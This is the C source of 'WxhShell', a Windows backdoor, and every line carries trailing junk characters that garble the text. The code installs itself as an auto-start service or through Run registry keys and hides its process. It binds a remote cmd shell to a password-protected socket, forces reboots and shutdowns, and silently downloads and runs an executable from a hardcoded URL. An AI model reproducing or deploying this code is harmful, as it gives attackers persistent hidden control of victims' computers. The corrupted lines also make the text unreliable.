    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '-vzQd@y  
    if(Boot(SHUTDOWN)) DH'0#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <a)L5<#  
    else { zi= gOm  
    closesocket(wsh); $-"V 2  
    ExitThread(0); F.@U X{J  
    } %617f=(E?!  
    break; X$9 "dL  
    } +=g9T`YbE  
  // 获取shell (VB-5&b  
  case 's': { NG\^>.8  
    CmdShell(wsh); ">!<OB  
    closesocket(wsh); o 76QQ+hP  
    ExitThread(0); OE5JA8/H  
    break; [hXnw'Im/  
  } F8>J(7On  
  // 退出 K&UTs$_cI  
  case 'x': { $pfN0/`(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z{rD4S @^  
    CloseIt(wsh); ,Ep41v;T%`  
    break; LRKl3"M  
    } v)-:0 f  
  // 离开 y4`uU1=  
  case 'q': { )~=g}&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N^xk.O_TO  
    closesocket(wsh); AlhPT (  
    WSACleanup(); ~WX40z  
    exit(1); P= nu&$;  
    break; ^^{7`X u  
        } * $v`5rP  
  } tP0!TkTo9  
  } e2vL UlL8  
hWfC"0  
  // 提示信息  ];hK5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g"|Z1iy|9  
} 6;%Ajx  
  } 8bW,.to(?x  
9 t o2V  
  return; }4wIfI83K,  
} :Mzkm^7B  
LL7un_EC  
// shell模块句柄 *;X,yEK[  
int CmdShell(SOCKET sock) 8|H^u6+yz  
{ 6[SE*/E@L  
STARTUPINFO si; MWn+e  
ZeroMemory(&si,sizeof(si)); c^%&-],  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $C`YVv%?0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Fa^I 1fk  
PROCESS_INFORMATION ProcessInfo; OYayTKxN  
char cmdline[]="cmd"; iK=SK3)vR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;vLg4k  
  return 0; 4j VFzO%.  
} X2S:"0?7  
bbAJ5EqL  
// 自身启动模式 j  hr pS  
int StartFromService(void) 0="U'|J_  
{ cH{[\F"Eb  
typedef struct wxIWh>pZa  
{ +RN|ZG&  
  DWORD ExitStatus; $R_RKyXzo  
  DWORD PebBaseAddress; VMgO1-F  
  DWORD AffinityMask; aOK,Mm:iO  
  DWORD BasePriority; E6_.Q `!ll  
  ULONG UniqueProcessId; Dvz}sQZ  
  ULONG InheritedFromUniqueProcessId; d|RDx;r l8  
}   PROCESS_BASIC_INFORMATION; 7@l.ZECJ1  
!a<}Mpeg  
PROCNTQSIP NtQueryInformationProcess; 0w<G)p~%n  
9#D?wR#J=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oH]"F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3*;S%1C^  
|8s45g>  
  HANDLE             hProcess; DqbU$jt`  
  PROCESS_BASIC_INFORMATION pbi; +y\mlfJ.-b  
Y.}8lh eH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q:X&)f  
  if(NULL == hInst ) return 0; 3tAX4DnYrq  
MaQ`7U5 |e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v''F\V )  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5"o)^8!>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uszH1@g'  
siK:?A@4D  
  if (!NtQueryInformationProcess) return 0; fkW TO"f-  
JtGBNz!"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z4iZE*ZS  
  if(!hProcess) return 0; ~ $QNp#dq  
HI*j6H?\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $ ";NS6 1  
G@I/Dy  
  CloseHandle(hProcess);  :bBMy\(u  
SXx;- Ws  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3Z-N*bhC  
if(hProcess==NULL) return 0; $S_G:}tna  
"Z70 jkW[  
HMODULE hMod; c>pbRUMH  
char procName[255]; W^Z#_{  
unsigned long cbNeeded; @A;Ouu(  
Hb|y`Ok  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t,>j{SK~  
'awZ-$#  
  CloseHandle(hProcess); |JRaskd  
<$ oI  
if(strstr(procName,"services")) return 1; // 以服务启动 ( V^C7ix:  
b am*&E%0K  
  return 0; // 注册表启动 Z9vJF.clO  
} [S#QGB19  
>UDb:N[  
// 主模块 R<AT}!mkR  
int StartWxhshell(LPSTR lpCmdLine) 6i.!C5YX]  
{ Y[WL}:"93  
  SOCKET wsl; UYW{A G2C  
BOOL val=TRUE; , s .{R  
  int port=0; Weu%&u-  
  struct sockaddr_in door; P@pJ^5Jf  
=V(|3?N  
  if(wscfg.ws_autoins) Install(); Wp0L!X=0  
!w #x@6yq  
port=atoi(lpCmdLine); \]gUX-  
wjnQK  
if(port<=0) port=wscfg.ws_port; LYvjqNC&4  
BiI}JEp4o  
  WSADATA data; NP?hoqeKs  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "FfIq;  
f1}am<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D^jyG6Ch  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Sx|)GTJJ|-  
  door.sin_family = AF_INET; +K"8Q'&t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LA%t'n h  
  door.sin_port = htons(port); i<uWLhgh1$  
SB}0u=5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  q{*4BL'  
closesocket(wsl); 6}xFE]Df-Y  
return 1; ^g eC?m  
} x8q3 Njr  
|r%lJmBB  
  if(listen(wsl,2) == INVALID_SOCKET) { xHo iu$i6  
closesocket(wsl); C. rLog#  
return 1; VvJ]*D+e  
} *4oj' }  
  Wxhshell(wsl); M);@XcS  
  WSACleanup(); U6M3,"?  
~+r"% KnG  
return 0; zJ7=r#b  
k,UezuV  
} '4J];Nj0  
X \GB:#:X  
// 以NT服务方式启动 p z]T9ol~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +#IsRiH%>  
{ yw3E$~k  
DWORD   status = 0; }jWZqIqj  
  DWORD   specificError = 0xfffffff; S85}&\m&4  
Ebk_(Py\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5l ioL)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P.Uz[_&l6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g k.c"$2  
  serviceStatus.dwWin32ExitCode     = 0; JDA:)[;  
  serviceStatus.dwServiceSpecificExitCode = 0; p[Yja y+  
  serviceStatus.dwCheckPoint       = 0; WP b4L9<  
  serviceStatus.dwWaitHint       = 0; K9 tuiD+j  
tF@hH}{;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6x$1En  
  if (hServiceStatusHandle==0) return; }q~M$  
vn0}l6n3s  
status = GetLastError(); gPrIu+|F  
  if (status!=NO_ERROR) FBCi,_ \4  
{ (" ,(@nS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Spt]<~  
    serviceStatus.dwCheckPoint       = 0; 6JYVC>i  
    serviceStatus.dwWaitHint       = 0; w?LDaSz\t  
    serviceStatus.dwWin32ExitCode     = status; Np?%pB!Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6)B6c. 5o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $%ts#56*  
    return; I8RPW:B;B  
  } .2V`sg.!  
!qjIhZi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; as%ab[ fX  
  serviceStatus.dwCheckPoint       = 0; E"|LA[o  
  serviceStatus.dwWaitHint       = 0; kUp[b~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); | ]DJz  
} ^3B&E^R  
1dgy-$H~  
// 处理NT服务事件,比如:启动、停止 6zfi\(fop  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wx,yx3c (  
{ `l0&,]  
switch(fdwControl) i{9_C/  
{ snW=9b)m  
case SERVICE_CONTROL_STOP: tAM t7p-  
  serviceStatus.dwWin32ExitCode = 0; ~H)s>6>#v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \ $PB~-Z  
  serviceStatus.dwCheckPoint   = 0; @D3Y}nR:  
  serviceStatus.dwWaitHint     = 0; N7b+GqYpF>  
  { e{<r<]/j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +v7mw<6s  
  } {d%% nK~  
  return; #_b U/rk)*  
case SERVICE_CONTROL_PAUSE: q4~w D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j m]d:=4_  
  break; )zR(e>VX  
case SERVICE_CONTROL_CONTINUE: \UF/_'=K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }eO{+{D +  
  break; Z"T#"FDIr  
case SERVICE_CONTROL_INTERROGATE: rv\yS:2  
  break; P!apAr  
}; wePhH*nQ>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *h `P+_Q7  
} 88GS Bg:YH  
^"?fZSC  
// 标准应用程序主函数 ])sIQ{P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l|z0aF;z  
{ 1zDat@<H  
zP8a=Iv  
// 获取操作系统版本 nSM8o<)H  
OsIsNt=GetOsVer(); %rmn+L),;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \.`;p  
Pr%Y!|  
  // 从命令行安装 K9*vWoP'  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^4\h Z  
c8^M::NI  
  // 下载执行文件 $@[`v0y*  
if(wscfg.ws_downexe) { w4m)lQM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <h*r  
  WinExec(wscfg.ws_filenam,SW_HIDE); xDU{I0M  
} 4NY}=e5  
>+ P5Zm(_  
if(!OsIsNt) { gNsas:iGM  
// 如果时win9x,隐藏进程并且设置为注册表启动 @]rl2Qqe  
HideProc(); Ju"* ;/  
StartWxhshell(lpCmdLine); %l#i9$s  
} T;f`ND2fY  
else 94>EA/+Ek  
  if(StartFromService()) i1OF @~?  
  // 以服务方式启动 E=-ed9({:  
  StartServiceCtrlDispatcher(DispatchTable); KXQ &u{[<  
else 7j ]d{lD  
  // 普通方式启动 $mV1K)ege  
  StartWxhshell(lpCmdLine); r\+0J`  
6dCS Gb  
return 0; NM`5hd{  
} 1^x "P#u  
#s\HiO$BT  
C3XB'CL6  
X#|B*t34  
=========================================== 7<T1#~w4L  
Q=,6W:j  
$y0[AB|V  
k"kGQk4  
%|tDb  
e6 R<V]g  
" !>,\KxnM  
/f5*KRM  
#include <stdio.h> 4Pbuv6`RK  
#include <string.h> t==CdCl  
#include <windows.h> Xiy9Oeq2uh  
#include <winsock2.h> rF3QmR?l  
#include <winsvc.h> ]d4`PXI  
#include <urlmon.h> |8bqn^@$t  
zA ; 7Nv$3  
#pragma comment (lib, "Ws2_32.lib") \I@hDMqv  
#pragma comment (lib, "urlmon.lib") +PlA#DZu  
&y7<h>z  
#define MAX_USER   100 // 最大客户端连接数 e;*GbXd|  
#define BUF_SOCK   200 // sock buffer ,v#F6xv8  
#define KEY_BUFF   255 // 输入 buffer X\ -IAv  
_V jfH2Y  
#define REBOOT     0   // 重启 )2tDX=D  
#define SHUTDOWN   1   // 关机 #K:!s<_"  
k3HPY}-  
#define DEF_PORT   5000 // 监听端口 pQ_EJX)  
/tG0"1{  
#define REG_LEN     16   // 注册表键长度 L[|($vQ"  
#define SVC_LEN     80   // NT服务名长度 /#lqv)s'  
StuQ}  
// 从dll定义API y.xyr"-Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QgR3kc^7/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hLv~N}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lBpy0lo#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '^npZa'%sW  
nmH1Wg*aW  
// wxhshell配置信息 y:m ;_U,%c  
struct WSCFG { z(8:7 G  
  int ws_port;         // 监听端口 vuNt+  
  char ws_passstr[REG_LEN]; // 口令 !R 2;]d*  
  int ws_autoins;       // 安装标记, 1=yes 0=no KWq&<X5  
  char ws_regname[REG_LEN]; // 注册表键名 @PaOQ@  
  char ws_svcname[REG_LEN]; // 服务名 T4M"s;::1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,w9:)B7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j$<sq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i7%v2_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B2R^oL' }  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uIvAmc4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1(q &(p  
Z8Jrt3l{2  
}; )w t mc4'  
l\HLlwYO  
// default Wxhshell configuration O<RLw)nzg  
struct WSCFG wscfg={DEF_PORT, 7gk}f%,3P  
    "xuhuanlingzhe", ;v*J:Mn/=  
    1, (}#8$ )  
    "Wxhshell", S`\03(zDA  
    "Wxhshell", I1a>w=x!+  
            "WxhShell Service", XK";-7TZt  
    "Wrsky Windows CmdShell Service", =o!1}'1}}  
    "Please Input Your Password: ", Q[wTV3d  
  1, xA&RMu&  
  "http://www.wrsky.com/wxhshell.exe", @MoBR.  
  "Wxhshell.exe" P<tHqN !q  
    }; 1GaM!OC9  
YLx4qE  
// 消息定义模块 AgBXB%).  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |+aUy^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; KkIgyLM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6XFLWN-)  
char *msg_ws_ext="\n\rExit."; 9i=HZ\s3  
char *msg_ws_end="\n\rQuit."; 6w"_sK?  
char *msg_ws_boot="\n\rReboot..."; Ue=Je~Ri;9  
char *msg_ws_poff="\n\rShutdown..."; +=V[7^K;  
char *msg_ws_down="\n\rSave to "; vGX}zzto  
]SO-NR  
char *msg_ws_err="\n\rErr!"; MyJ\/`8  
char *msg_ws_ok="\n\rOK!"; Z]QpH<Z  
'&;s32']}  
char ExeFile[MAX_PATH]; oy _DYop  
int nUser = 0; <27:O,I  
HANDLE handles[MAX_USER]; .:b&$~<  
int OsIsNt;  Fhk 8  
>iKbn  
SERVICE_STATUS       serviceStatus; O 7Z?y*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Nueb xd  
UG!528;7  
// 函数声明 , S }  
int Install(void); [Zpx :r}  
int Uninstall(void); ~0 PR>QJ  
int DownloadFile(char *sURL, SOCKET wsh); 4ZX6=-u^  
int Boot(int flag); _=\J:r|Y:  
void HideProc(void);  EL$"/ptE  
int GetOsVer(void); \Zgc [F  
int Wxhshell(SOCKET wsl); %$*WdK#  
void TalkWithClient(void *cs); }3TTtd7  
int CmdShell(SOCKET sock); rP7[{'%r  
int StartFromService(void); }#<mK3MBe  
int StartWxhshell(LPSTR lpCmdLine); nj (\+l5  
C5F=J8pY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )&") J}@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -Gyj]v5y`c  
.,9e~6}  
// 数据结构和表定义 n | M~C\*  
SERVICE_TABLE_ENTRY DispatchTable[] = {tDH !sX  
{ \Qgc7ev  
{wscfg.ws_svcname, NTServiceMain}, ;k=&ZV  
{NULL, NULL} om1@;u8u  
}; %FhUjHm  
nn?h;KzB  
// 自我安装 y!kU0  
int Install(void) %`# HGji)  
{ ]Uu:t  
  char svExeFile[MAX_PATH]; S11ME  
  HKEY key; ?lPyapA]  
  strcpy(svExeFile,ExeFile); 8JFvz(SK>  
4/?@ %  
// 如果是win9x系统,修改注册表设为自启动 hR+\,P#G[  
if(!OsIsNt) { wV\.NQtS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U^&,xz$Cg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k5@PZFV  
  RegCloseKey(key); '5r\o8RjN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^B!cL~S*I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B~h3naSe  
  RegCloseKey(key); _g2"D[I%  
  return 0; *mjPNp'3{m  
    } N!~5S`  
  } W' Y?X]xr  
} 1$#1  
else { 8n"L4jb(:  
{bP )Fon  
// 如果是NT以上系统,安装为系统服务 [lz#+~rOS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \n<9R8g5  
if (schSCManager!=0) )jPIBzMys  
{ : =f!>_r+  
  SC_HANDLE schService = CreateService i1 >oRT{Z  
  ( m|]:oT`M  
  schSCManager, Ju@8_ ?8=  
  wscfg.ws_svcname, h3rVa6cxM  
  wscfg.ws_svcdisp, QF4)@ r{2x  
  SERVICE_ALL_ACCESS, 9q]n &5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k4-S:kVo  
  SERVICE_AUTO_START, ;W?mQUo:P8  
  SERVICE_ERROR_NORMAL, '',g}WvRwe  
  svExeFile, {XEX0|TZ  
  NULL, Gq]/6igzX  
  NULL, MS`XhFPS.  
  NULL, 0t(2^*I?>  
  NULL, d<cqY<y VA  
  NULL W P9PX  
  ); hYbaVE  
  if (schService!=0) O<P(UT"  
  { VVw5)O1'  
  CloseServiceHandle(schService); Y3JIDT^  
  CloseServiceHandle(schSCManager);  :!/ (N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U8a5rF><  
  strcat(svExeFile,wscfg.ws_svcname); ] B?NDxU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v|R#[vtFd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8bdx$,$k  
  RegCloseKey(key); 64qqJmG 3  
  return 0; q&2L@l3A  
    } hplxs#  
  } sQmJ3 (:HO  
  CloseServiceHandle(schSCManager); sLd%m+*p  
} vc C"  
} 69S*\'L  
0[f[6mm%m  
return 1; :?j]W2+kR  
} 9Cs/B*3)b  
g=$nNQ \6=  
// 自我卸载 (tCBbPW6T?  
int Uninstall(void) zSagsH |W  
{ *Ksk1T+>  
  HKEY key; '<U4D  
pv,z$3Q  
if(!OsIsNt) { *RmD%[f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |j4p  
  RegDeleteValue(key,wscfg.ws_regname); QYEGiT   
  RegCloseKey(key); ?-'GbOr!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f\?1oMO\  
  RegDeleteValue(key,wscfg.ws_regname); bO* hmDt  
  RegCloseKey(key); v0(_4U]/  
  return 0; 2^qJ'<2]M  
  } gnadx52FP  
} X!6$<8+1OV  
} KMx '(  
else { uNca@xl'  
-^JPY)\R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A{Qo}F<*  
if (schSCManager!=0) LK<ZF=z]Z  
{ ^O& y ;5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MaLH2?je^n  
  if (schService!=0) 'Hsd7Dpi}  
  { x *a_43`  
  if(DeleteService(schService)!=0) { 11%Zx3  
  CloseServiceHandle(schService); }:S}jo7  
  CloseServiceHandle(schSCManager); ;B !p4 hu  
  return 0; b3ys"Vyn  
  } Z>~7|vl  
  CloseServiceHandle(schService); :1;"{=Yx}  
  } 6]mAtA`Y  
  CloseServiceHandle(schSCManager); Q$Rp?o&  
} :o:Z   
} 1.5R`vKn]  
I%{ 1K+V/  
return 1; .hjN*4RY  
} K1w:JA6(  
L) UCVm  
// 从指定url下载文件 = toU?:.  
int DownloadFile(char *sURL, SOCKET wsh) 2J (nJT"  
{ 8Y_lQfJa  
  HRESULT hr; ts; ^,|h  
char seps[]= "/"; g>g*1oS  
char *token; )2 b-3lz  
char *file; So= BcX-  
char myURL[MAX_PATH]; vGOO"r(xL  
char myFILE[MAX_PATH]; X<H{  
DT_%Rz~<  
strcpy(myURL,sURL); @+a}O  
  token=strtok(myURL,seps); qfRrX"  
  while(token!=NULL) .*Z#;3  
  { .EC~o  
    file=token; Y?-Ef sK  
  token=strtok(NULL,seps); {"*_++|  
  } pb G5y7  
1@9M[_<n5  
GetCurrentDirectory(MAX_PATH,myFILE); X`fm5y  
strcat(myFILE, "\\"); tBETNt7  
strcat(myFILE, file); :\C/mT3xL)  
  send(wsh,myFILE,strlen(myFILE),0); h+S]C#X,}  
send(wsh,"...",3,0); CF v]wS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 30<_`  
  if(hr==S_OK) -C8LM ls  
return 0; ]]y4$ [|L  
else `|PhXr  
return 1; NN5G '|i  
0Hx'C^m72  
} _:FD#5BZ1  
ZZYtaVF:  
// 系统电源模块 w_DaldK*  
int Boot(int flag) s<oT,SPt  
{ PS0/O k  
  HANDLE hToken; p.H`lbVY  
  TOKEN_PRIVILEGES tkp; IJC]Al,df  
etQS&YzC  
  if(OsIsNt) { bP,Ka  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >qUD_U3A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1tTY )Evf  
    tkp.PrivilegeCount = 1; "'XYW\bI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {1+meE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ":qS9vW  
if(flag==REBOOT) { }h* j{b,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QU(Lv(/O  
  return 0; b`ksTO`}x  
} HBs 6:[q  
else { hLVgP&/ E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) shO4>Ha  
  return 0; D[6wMep^n  
} *1T~ruNqa  
  } )<Mo.  
  else { r%>EiHpCU  
if(flag==REBOOT) { MZqHL4<|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,XI=e=  
  return 0; g4{0  
} F~~9/#  
else { F%4N/e'L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #B q|^:nj  
  return 0; rbs&A{i  
} uo*lW2&U  
} Q.\vN-(  
"!uS!BI?  
return 1; T5}5uk9  
} g|h;*  
~#)9Kl7<X  
// win9x进程隐藏模块 bJkFCI/  
void HideProc(void) rrq7UJ;  
{ eLbh1L  
AP8J28I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); = )4bf"~8  
  if ( hKernel != NULL ) 8#9OSupp  
  { Cv/3-&5S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ns#L9T#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !3o/c w9  
    FreeLibrary(hKernel); C4t~k  
  } EW3--33s  
/ Xv@g$  
return; um\A  
} L`fT;2  
}WF6w+  
// 获取操作系统版本  =vDpm,  
int GetOsVer(void) l{VJaZ $M  
{ 07:h4beT  
  OSVERSIONINFO winfo; #-{ljjMQI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G^SDB!/@J  
  GetVersionEx(&winfo); 85Kf>z::c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )bpdj,  
  return 1; AgB$ w4  
  else <y"lL>JR  
  return 0; - s2Yhf  
} +vPCr&40  
=#wE*6T9  
// 客户端句柄模块 ;!OME*?m<  
int Wxhshell(SOCKET wsl) V#c=O}  
{ ;<%d^   
  SOCKET wsh; PWyFys  
  struct sockaddr_in client; +eop4 |Z  
  DWORD myID; y+ izC+  
A2Iqn5  
  while(nUser<MAX_USER) T(k:\z/  
{ L Z3=K`gj  
  int nSize=sizeof(client); >feeVk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8^R~qpg%  
  if(wsh==INVALID_SOCKET) return 1; `_"?$ v2F  
RLGIST`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zE7)4!  
if(handles[nUser]==0) qQS&K%F  
  closesocket(wsh); . ywVGBvJ  
else 1KJ[&jS ]  
  nUser++; M?kXzb\O  
  } 5 RYrAzQo  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1-R4A7+3  
Bma.Uln  
  return 0; "IWL& cH3  
} E.^u:0:P  
k\ZU%"^J  
// 关闭 socket $]?M[sL\N7  
void CloseIt(SOCKET wsh) W=2]!%3#  
{ ;)sC{ "Jb  
closesocket(wsh); H{_6e6`e.  
nUser--; fvG4K(  
ExitThread(0); L_!}R  
} 6U]r3 Rr  
-NDB.~E^DJ  
// 客户端请求句柄 ytV4qU82G  
void TalkWithClient(void *cs) Ev48|X6  
{ +Lo,*  
uiWo<}t}{  
  SOCKET wsh=(SOCKET)cs; I#W J";kqB  
  char pwd[SVC_LEN]; wqyF"^It"  
  char cmd[KEY_BUFF]; s##XC^;p[  
char chr[1]; T'N/A9{q  
int i,j; gpCWXz')i  
&@qB6!^  
  while (nUser < MAX_USER) { ;3Q3!+%j  
P+0 -h  
if(wscfg.ws_passstr) { p#gf^Y5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cWI7];/d;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5)gC<  
  //ZeroMemory(pwd,KEY_BUFF); _G%kEt_4  
      i=0; jLEO-<)-)  
  while(i<SVC_LEN) { c2d1'l]n  
nNRc@9Lt  
  // 设置超时 )xTu|V   
  fd_set FdRead; 5L\Im^  
  struct timeval TimeOut; @X_)%Y-^O  
  FD_ZERO(&FdRead); e^hI[LbNC  
  FD_SET(wsh,&FdRead); I3Ad+]v  
  TimeOut.tv_sec=8; p >nKNd_aQ  
  TimeOut.tv_usec=0; B<,AI7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Nxm '* -A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Wa%p+(\<uB  
X C '|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <h`}I3Ao  
  pwd=chr[0]; =z}M(<G  
  if(chr[0]==0xd || chr[0]==0xa) { Gk|T1%  
  pwd=0; m\K1Ex  
  break; dAjm4F -  
  } QVD^p;b  
  i++; %O>_$ 4q  
    } Q?dzro4C  
"}< baz  
  // 如果是非法用户,关闭 socket P_M!h~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  Lvn+EM  
} _,*QJ  
q)tNH/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S#\Cyn2(t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 59(} D'lw>  
>< Qp%yT  
while(1) { IpVtbDW  
U@)WTH6d  
  ZeroMemory(cmd,KEY_BUFF); _147d5  
CW~c<,"  
      // 自动支持客户端 telnet标准   }`uq:y  
  j=0; RNX>I,2sh  
  while(j<KEY_BUFF) { CbT ;#0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [ _&z+  
  cmd[j]=chr[0]; 2c5)pIVEy  
  if(chr[0]==0xa || chr[0]==0xd) { 8ZDWaq8^2N  
  cmd[j]=0; !:1BuiL  
  break; F>5)Clq  
  } <ceJ!"L  
  j++; t;lK=m|  
    } 4n2*2 yTg  
44UN*_qG  
  // 下载文件 l,j0n0h.  
  if(strstr(cmd,"http://")) { J8DKia|h(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @Sz7*p  
  if(DownloadFile(cmd,wsh)) , L8(Vo`-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >7QC>ws%  
  else gq)uv`3  
